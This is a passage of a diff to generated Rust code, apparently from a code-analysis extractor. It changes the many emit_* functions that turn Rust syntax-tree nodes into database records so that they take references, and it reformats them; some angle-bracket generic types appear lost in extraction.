pub(crate) fn emit_type(&mut self, node: ast::Type) -> Option> { - match node { + pub(crate) fn emit_type(&mut self, node: &ast::Type) -> Option> { + let label = match node { ast::Type::ArrayType(inner) => self.emit_array_type(inner).map(Into::into), ast::Type::DynTraitType(inner) => self.emit_dyn_trait_type(inner).map(Into::into), ast::Type::FnPtrType(inner) => self.emit_fn_ptr_type(inner).map(Into::into), @@ -166,18 +203,23 @@ impl Translator<'_> { ast::Type::RefType(inner) => self.emit_ref_type(inner).map(Into::into), ast::Type::SliceType(inner) => self.emit_slice_type(inner).map(Into::into), ast::Type::TupleType(inner) => self.emit_tuple_type(inner).map(Into::into), - } + }?; + emit_detached!(TypeRepr, self, node, label); + Some(label) } - - pub(crate) fn emit_use_bound_generic_arg(&mut self, node: ast::UseBoundGenericArg) -> Option> { - match node { + pub(crate) fn emit_use_bound_generic_arg( + &mut self, + node: &ast::UseBoundGenericArg, + ) -> Option> { + let label = match node { ast::UseBoundGenericArg::Lifetime(inner) => self.emit_lifetime(inner).map(Into::into), ast::UseBoundGenericArg::NameRef(inner) => self.emit_name_ref(inner).map(Into::into), - } + }?; + emit_detached!(UseBoundGenericArg, self, node, label); + Some(label) } - - pub(crate) fn emit_item(&mut self, node: ast::Item) -> Option> { - match node { + pub(crate) fn emit_item(&mut self, node: &ast::Item) -> Option> { + let label = match node { ast::Item::Const(inner) => self.emit_const(inner).map(Into::into), ast::Item::Enum(inner) => self.emit_enum(inner).map(Into::into), ast::Item::ExternBlock(inner) => self.emit_extern_block(inner).map(Into::into), @@ -195,37 +237,44 @@ impl Translator<'_> { ast::Item::TypeAlias(inner) => self.emit_type_alias(inner).map(Into::into), ast::Item::Union(inner) => self.emit_union(inner).map(Into::into), ast::Item::Use(inner) => self.emit_use(inner).map(Into::into), - } + }?; + emit_detached!(Item, self, node, label); + Some(label) } - - pub(crate) fn emit_abi(&mut self, node: ast::Abi) -> Option> { + pub(crate) fn emit_abi(&mut self, node: &ast::Abi) -> Option> { let abi_string = node.try_get_text(); let label = self.trap.emit(generated::Abi { id: TrapId::Star, abi_string, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Abi, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_arg_list(&mut self, node: ast::ArgList) -> Option> { - let args = node.args().filter_map(|x| self.emit_expr(x)).collect(); + pub(crate) fn emit_arg_list( + &mut self, + node: &ast::ArgList, + ) -> Option> { + let args = node.args().filter_map(|x| self.emit_expr(&x)).collect(); let label = self.trap.emit(generated::ArgList { id: TrapId::Star, args, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ArgList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_array_expr(&mut self, node: ast::ArrayExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let exprs = node.exprs().filter_map(|x| self.emit_expr(x)).collect(); + pub(crate) fn emit_array_expr( + &mut self, + node: &ast::ArrayExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let exprs = node.exprs().filter_map(|x| self.emit_expr(&x)).collect(); let is_semicolon = node.semicolon_token().is_some(); let label = self.trap.emit(generated::ArrayExprInternal { id: TrapId::Star, @@ -233,205 +282,251 @@ impl Translator<'_> { exprs, is_semicolon, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ArrayExprInternal, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_array_type(&mut self, node: ast::ArrayType) -> Option> { - let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(x)); - let element_type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_array_type( + &mut self, + node: &ast::ArrayType, + ) -> Option> { + let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(&x)); + let element_type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::ArrayTypeRepr { id: TrapId::Star, const_arg, element_type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ArrayTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_clobber_abi(&mut self, node: ast::AsmClobberAbi) -> Option> { - let label = self.trap.emit(generated::AsmClobberAbi { - id: TrapId::Star, - }); - self.emit_location(label, &node); + pub(crate) fn emit_asm_clobber_abi( + &mut self, + node: &ast::AsmClobberAbi, + ) -> Option> { + let label = self + .trap + .emit(generated::AsmClobberAbi { id: TrapId::Star }); + self.emit_location(label, node); emit_detached!(AsmClobberAbi, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_const(&mut self, node: ast::AsmConst) -> Option> { - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_asm_const( + &mut self, + node: &ast::AsmConst, + ) -> Option> { + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let is_const = node.const_token().is_some(); let label = self.trap.emit(generated::AsmConst { id: TrapId::Star, expr, is_const, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(AsmConst, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_dir_spec(&mut self, node: ast::AsmDirSpec) -> Option> { - let label = self.trap.emit(generated::AsmDirSpec { - id: TrapId::Star, - }); - self.emit_location(label, &node); + pub(crate) fn emit_asm_dir_spec( + &mut self, + node: &ast::AsmDirSpec, + ) -> Option> { + let label = self.trap.emit(generated::AsmDirSpec { id: TrapId::Star }); + self.emit_location(label, node); emit_detached!(AsmDirSpec, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_expr(&mut self, node: ast::AsmExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let asm_pieces = node.asm_pieces().filter_map(|x| self.emit_asm_piece(x)).collect(); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let template = node.template().filter_map(|x| self.emit_expr(x)).collect(); + pub(crate) fn emit_asm_expr( + &mut self, + node: &ast::AsmExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let asm_pieces = node + .asm_pieces() + .filter_map(|x| self.emit_asm_piece(&x)) + .collect(); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let template = node.template().filter_map(|x| self.emit_expr(&x)).collect(); let label = self.trap.emit(generated::AsmExpr { id: TrapId::Star, asm_pieces, attrs, template, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(AsmExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_label(&mut self, node: ast::AsmLabel) -> Option> { - let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(x)); + pub(crate) fn emit_asm_label( + &mut self, + node: &ast::AsmLabel, + ) -> Option> { + let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::AsmLabel { id: TrapId::Star, block_expr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(AsmLabel, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_operand_expr(&mut self, node: ast::AsmOperandExpr) -> Option> { - let in_expr = node.in_expr().and_then(|x| self.emit_expr(x)); - let out_expr = node.out_expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_asm_operand_expr( + &mut self, + node: &ast::AsmOperandExpr, + ) -> Option> { + let in_expr = node.in_expr().and_then(|x| self.emit_expr(&x)); + let out_expr = node.out_expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::AsmOperandExpr { id: TrapId::Star, in_expr, out_expr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(AsmOperandExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_operand_named(&mut self, node: ast::AsmOperandNamed) -> Option> { - let asm_operand = node.asm_operand().and_then(|x| self.emit_asm_operand(x)); - let name = node.name().and_then(|x| self.emit_name(x)); + pub(crate) fn emit_asm_operand_named( + &mut self, + node: &ast::AsmOperandNamed, + ) -> Option> { + let asm_operand = node.asm_operand().and_then(|x| self.emit_asm_operand(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); let label = self.trap.emit(generated::AsmOperandNamed { id: TrapId::Star, asm_operand, name, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(AsmOperandNamed, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_option(&mut self, node: ast::AsmOption) -> Option> { + pub(crate) fn emit_asm_option( + &mut self, + node: &ast::AsmOption, + ) -> Option> { let is_raw = node.raw_token().is_some(); let label = self.trap.emit(generated::AsmOption { id: TrapId::Star, is_raw, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(AsmOption, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_options(&mut self, node: ast::AsmOptions) -> Option> { - let asm_options = node.asm_options().filter_map(|x| self.emit_asm_option(x)).collect(); + pub(crate) fn emit_asm_options( + &mut self, + node: &ast::AsmOptions, + ) -> Option> { + let asm_options = node + .asm_options() + .filter_map(|x| self.emit_asm_option(&x)) + .collect(); let label = self.trap.emit(generated::AsmOptionsList { id: TrapId::Star, asm_options, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(AsmOptionsList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_asm_reg_operand(&mut self, node: ast::AsmRegOperand) -> Option> { - let asm_dir_spec = node.asm_dir_spec().and_then(|x| self.emit_asm_dir_spec(x)); - let asm_operand_expr = node.asm_operand_expr().and_then(|x| self.emit_asm_operand_expr(x)); - let asm_reg_spec = node.asm_reg_spec().and_then(|x| self.emit_asm_reg_spec(x)); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_asm_reg_operand( + &mut self, + node: &ast::AsmRegOperand, + ) -> Option> { + let asm_dir_spec = node.asm_dir_spec().and_then(|x| self.emit_asm_dir_spec(&x)); + let asm_operand_expr = node + .asm_operand_expr() + .and_then(|x| self.emit_asm_operand_expr(&x)); + let asm_reg_spec = node.asm_reg_spec().and_then(|x| self.emit_asm_reg_spec(&x)); let label = self.trap.emit(generated::AsmRegOperand { id: TrapId::Star, asm_dir_spec, asm_operand_expr, asm_reg_spec, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(AsmRegOperand, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_reg_spec(&mut self, node: ast::AsmRegSpec) -> Option> { - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); + pub(crate) fn emit_asm_reg_spec( + &mut self, + node: &ast::AsmRegSpec, + ) -> Option> { + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); let label = self.trap.emit(generated::AsmRegSpec { id: TrapId::Star, identifier, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(AsmRegSpec, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_asm_sym(&mut self, node: ast::AsmSym) -> Option> { - let path = node.path().and_then(|x| self.emit_path(x)); + pub(crate) fn emit_asm_sym(&mut self, node: &ast::AsmSym) -> Option> { + let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::AsmSym { id: TrapId::Star, path, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(AsmSym, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_assoc_item_list(&mut self, node: ast::AssocItemList) -> Option> { - if self.should_be_excluded(&node) { return None; } - let assoc_items = node.assoc_items().filter_map(|x| self.emit_assoc_item(x)).collect(); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_assoc_item_list( + &mut self, + node: &ast::AssocItemList, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let assoc_items = node + .assoc_items() + .filter_map(|x| self.emit_assoc_item(&x)) + .collect(); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let label = self.trap.emit(generated::AssocItemList { id: TrapId::Star, assoc_items, attrs, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(AssocItemList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_assoc_type_arg(&mut self, node: ast::AssocTypeArg) -> Option> { - let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(x)); - let generic_arg_list = node.generic_arg_list().and_then(|x| self.emit_generic_arg_list(x)); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); - let param_list = node.param_list().and_then(|x| self.emit_param_list(x)); - let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x)); - let return_type_syntax = node.return_type_syntax().and_then(|x| self.emit_return_type_syntax(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_assoc_type_arg( + &mut self, + node: &ast::AssocTypeArg, + ) -> Option> { + let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(&x)); + let generic_arg_list = node + .generic_arg_list() + .and_then(|x| self.emit_generic_arg_list(&x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); + let param_list = node.param_list().and_then(|x| self.emit_param_list(&x)); + let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(&x)); + let return_type_syntax = node + .return_type_syntax() + .and_then(|x| self.emit_return_type_syntax(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); let label = self.trap.emit(generated::AssocTypeArg { id: TrapId::Star, const_arg, @@ -443,60 +538,71 @@ impl Translator<'_> { type_repr, type_bound_list, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(AssocTypeArg, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_attr(&mut self, node: ast::Attr) -> Option> { - let meta = node.meta().and_then(|x| self.emit_meta(x)); + pub(crate) fn emit_attr(&mut self, node: &ast::Attr) -> Option> { + let meta = node.meta().and_then(|x| self.emit_meta(&x)); let label = self.trap.emit(generated::Attr { id: TrapId::Star, meta, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Attr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_await_expr(&mut self, node: ast::AwaitExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_await_expr( + &mut self, + node: &ast::AwaitExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::AwaitExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(AwaitExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_become_expr(&mut self, node: ast::BecomeExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_become_expr( + &mut self, + node: &ast::BecomeExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::BecomeExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(BecomeExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_bin_expr(&mut self, node: ast::BinExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let lhs = node.lhs().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_bin_expr( + &mut self, + node: &ast::BinExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let lhs = node.lhs().and_then(|x| self.emit_expr(&x)); let operator_name = node.try_get_text(); - let rhs = node.rhs().and_then(|x| self.emit_expr(x)); + let rhs = node.rhs().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::BinaryExpr { id: TrapId::Star, attrs, @@ -504,23 +610,27 @@ impl Translator<'_> { operator_name, rhs, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(BinaryExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_block_expr(&mut self, node: ast::BlockExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_block_expr( + &mut self, + node: &ast::BlockExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); let is_gen = node.gen_token().is_some(); let is_move = node.move_token().is_some(); let is_try = node.try_token().is_some(); let is_unsafe = node.unsafe_token().is_some(); - let label = node.label().and_then(|x| self.emit_label(x)); - let stmt_list = node.stmt_list().and_then(|x| self.emit_stmt_list(x)); + let label = node.label().and_then(|x| self.emit_label(&x)); + let stmt_list = node.stmt_list().and_then(|x| self.emit_stmt_list(&x)); let label = self.trap.emit(generated::BlockExpr { id: TrapId::Star, attrs, @@ -533,99 +643,120 @@ impl Translator<'_> { label, stmt_list, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(BlockExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_box_pat(&mut self, node: ast::BoxPat) -> Option> { - let pat = node.pat().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_box_pat(&mut self, node: &ast::BoxPat) -> Option> { + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::BoxPat { id: TrapId::Star, pat, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(BoxPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_break_expr(&mut self, node: ast::BreakExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); + pub(crate) fn emit_break_expr( + &mut self, + node: &ast::BreakExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let label = self.trap.emit(generated::BreakExpr { id: TrapId::Star, attrs, expr, lifetime, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(BreakExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_call_expr(&mut self, node: ast::CallExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let arg_list = node.arg_list().and_then(|x| self.emit_arg_list(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let function = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_call_expr( + &mut self, + node: &ast::CallExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let arg_list = node.arg_list().and_then(|x| self.emit_arg_list(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let function = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::CallExpr { id: TrapId::Star, arg_list, attrs, function, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(CallExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_cast_expr(&mut self, node: ast::CastExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_cast_expr( + &mut self, + node: &ast::CastExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::CastExpr { id: TrapId::Star, attrs, expr, type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(CastExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_closure_binder(&mut self, node: ast::ClosureBinder) -> Option> { - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); + pub(crate) fn emit_closure_binder( + &mut self, + node: &ast::ClosureBinder, + ) -> Option> { + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); let label = self.trap.emit(generated::ClosureBinder { id: TrapId::Star, generic_param_list, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ClosureBinder, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_closure_expr(&mut self, node: ast::ClosureExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let body = node.body().and_then(|x| self.emit_expr(x)); - let closure_binder = node.closure_binder().and_then(|x| self.emit_closure_binder(x)); + pub(crate) fn emit_closure_expr( + &mut self, + node: &ast::ClosureExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let body = node.body().and_then(|x| self.emit_expr(&x)); + let closure_binder = node + .closure_binder() + .and_then(|x| self.emit_closure_binder(&x)); let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); let is_gen = node.gen_token().is_some(); let is_move = node.move_token().is_some(); let is_static = node.static_token().is_some(); - let param_list = node.param_list().and_then(|x| self.emit_param_list(x)); - let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x)); + let param_list = node.param_list().and_then(|x| self.emit_param_list(&x)); + let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(&x)); let label = self.trap.emit(generated::ClosureExpr { id: TrapId::Star, attrs, @@ -639,21 +770,22 @@ impl Translator<'_> { param_list, ret_type, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ClosureExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_const(&mut self, node: ast::Const) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let body = node.body().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_const(&mut self, node: &ast::Const) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let body = node.body().and_then(|x| self.emit_expr(&x)); let is_const = node.const_token().is_some(); let is_default = node.default_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::Const { id: TrapId::Star, attrs, @@ -664,45 +796,53 @@ impl Translator<'_> { type_repr, visibility, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Const, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_const_arg(&mut self, node: ast::ConstArg) -> Option> { - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_const_arg( + &mut self, + node: &ast::ConstArg, + ) -> Option> { + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ConstArg { id: TrapId::Star, expr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ConstArg, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_const_block_pat(&mut self, node: ast::ConstBlockPat) -> Option> { - let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(x)); + pub(crate) fn emit_const_block_pat( + &mut self, + node: &ast::ConstBlockPat, + ) -> Option> { + let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(&x)); let is_const = node.const_token().is_some(); let label = self.trap.emit(generated::ConstBlockPat { id: TrapId::Star, block_expr, is_const, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ConstBlockPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_const_param(&mut self, node: ast::ConstParam) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let default_val = node.default_val().and_then(|x| self.emit_const_arg(x)); + pub(crate) fn emit_const_param( + &mut self, + node: &ast::ConstParam, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let default_val = node.default_val().and_then(|x| self.emit_const_arg(&x)); let is_const = node.const_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::ConstParam { id: TrapId::Star, attrs, @@ -711,47 +851,58 @@ impl Translator<'_> { name, type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ConstParam, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_continue_expr(&mut self, node: ast::ContinueExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); + pub(crate) fn emit_continue_expr( + &mut self, + node: &ast::ContinueExpr, + ) 